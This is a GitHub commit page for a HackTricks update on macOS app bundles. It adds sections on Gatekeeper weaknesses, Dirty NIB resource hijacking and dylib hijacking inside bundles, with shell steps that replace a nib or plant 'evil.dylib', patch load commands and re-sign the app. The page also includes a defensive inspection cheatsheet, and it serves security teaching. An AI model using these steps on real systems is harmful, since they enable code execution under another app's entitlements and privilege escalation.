Skip to content

Commit e2180a5

Browse files
authored
Merge pull request #1790 from HackTricks-wiki/research_update_src_macos-hardening_macos-security-and-privilege-escalation_macos-files-folders-and-binaries_macos-bundles_20260121_021148
Research Update Enhanced src/macos-hardening/macos-security-...
2 parents fdc48ba + fd51dba commit e2180a5

1 file changed

Lines changed: 63 additions & 2 deletions

File tree

  • src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries

src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md

Lines changed: 63 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ Bundles in macOS serve as containers for a variety of resources including applic
1010

1111
Within a bundle, particularly within the `<application>.app/Contents/` directory, a variety of important resources are housed:
1212

13-
- **\_CodeSignature**: This directory stores code-signing details vital for verifying the integrity of the application. You can inspect the code-signing information using commands like:
13+
- **\_CodeSignature**: This directory stores code-signing details vital for verifying the integrity of the application. You can inspect the code-signing information using commands like:
1414
```bash
1515
openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64
1616
```
@@ -44,7 +44,68 @@ This structure ensures that all necessary components are encapsulated within the
4444

4545
For more detailed information on `Info.plist` keys and their meanings, the Apple developer documentation provides extensive resources: [Apple Info.plist Key Reference](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html).
4646

47-
{{#include ../../../banners/hacktricks-training.md}}
47+
## Security Notes & Abuse Vectors
48+
49+
- **Gatekeeper / App Translocation**: When a quarantined bundle is first executed, macOS performs a deep signature verification and may run it from a randomized translocated path. Once accepted, later launches only perform shallow checks; resource files in `Resources/`, `PlugIns/`, nibs, etc., were historically unchecked. Since macOS 13 Ventura a deep check is enforced on first run and the new *App Management* TCC permission restricts third‑party processes from modifying other bundles without user consent, but older systems remain vulnerable.
50+
- **Bundle Identifier collisions**: Multiple embedded targets (PlugIns, helper tools) reusing the same `CFBundleIdentifier` can break signature validation and occasionally enable URL‑scheme hijacking/confusion. Always enumerate sub‑bundles and verify unique IDs.
51+
52+
## Resource Hijacking (Dirty NIB / NIB Injection)
53+
54+
Before Ventura, swapping UI resources in a signed app could bypass shallow code signing and yield code execution with the app’s entitlements. Current research (2024) shows this still works on pre‑Ventura and on un-quarantined builds:
55+
56+
1. Copy target app to a writable location (e.g., `/tmp/Victim.app`).
57+
2. Replace `Contents/Resources/MainMenu.nib` (or any nib declared in `NSMainNibFile`) with a malicious one that instantiates `NSAppleScript`, `NSTask`, etc.
58+
3. Launch app. The malicious nib executes under the victim’s bundle ID and entitlements (TCC grants, microphone/camera, etc.).
59+
4. Ventura+ mitigates by deep‑verifying the bundle on first launch and requiring *App Management* permission for later modifications, so persistence is harder but initial-launch attacks on older macOS still apply.
60+
61+
Minimal malicious nib payload example (compile xib to nib with `ibtool`):
62+
```bash
63+
# create a nib that runs osascript -e 'do shell script "id"'
64+
# ...build xib in Xcode, then
65+
ibtool --compile MainMenu.nib MainMenu.xib
66+
cp MainMenu.nib /tmp/Victim.app/Contents/Resources/
67+
open /tmp/Victim.app
68+
```
69+
70+
## Framework / PlugIn / dylib Hijacking inside Bundles
71+
72+
Because `@rpath` lookups prefer bundled Frameworks/PlugIns, dropping a malicious library inside `Contents/Frameworks/` or `Contents/PlugIns/` can redirect load order when the main binary is signed without library validation or with weak `LC_RPATH` ordering.
73+
74+
Typical steps when abusing an unsigned/ad‑hoc bundle:
75+
```bash
76+
cp evil.dylib /tmp/Victim.app/Contents/Frameworks/
77+
install_name_tool -add_rpath @executable_path/../Frameworks /tmp/Victim.app/Contents/MacOS/Victim
78+
# or patch an existing load command
79+
install_name_tool -change @rpath/Legit.dylib @rpath/evil.dylib /tmp/Victim.app/Contents/MacOS/Victim
80+
codesign -f -s - --timestamp=none /tmp/Victim.app/Contents/Frameworks/evil.dylib
81+
codesign -f -s - --deep --timestamp=none /tmp/Victim.app
82+
open /tmp/Victim.app
83+
```
84+
Notes:
85+
- Hardened runtime with `com.apple.security.cs.disable-library-validation` absent blocks third‑party dylibs; check entitlements first.
86+
- XPC services under `Contents/XPCServices/` often load sibling frameworks—patch their binaries similarly for persistence or privilege escalation paths.
87+
88+
## Quick Inspection Cheatsheet
4889

90+
```bash
91+
# list top-level bundle metadata
92+
/usr/libexec/PlistBuddy -c "Print :CFBundleIdentifier" /Applications/App.app/Contents/Info.plist
93+
94+
# enumerate embedded bundles
95+
find /Applications/App.app/Contents -name "*.app" -o -name "*.framework" -o -name "*.plugin" -o -name "*.xpc"
4996

97+
# verify code signature depth
98+
codesign --verify --deep --strict /Applications/App.app && echo OK
5099

100+
# show rpaths and linked libs
101+
otool -l /Applications/App.app/Contents/MacOS/App | grep -A2 RPATH
102+
otool -L /Applications/App.app/Contents/MacOS/App
103+
```
104+
105+
106+
107+
## References
108+
109+
- [Bringing process injection into view(s): exploiting macOS apps using nib files (2024)](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)
110+
- [Dirty NIB & bundle resource tampering write‑up (2024)](https://karol-mazurek.medium.com/snake-apple-app-bundle-ext-f5c43a3c84c4)
111+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)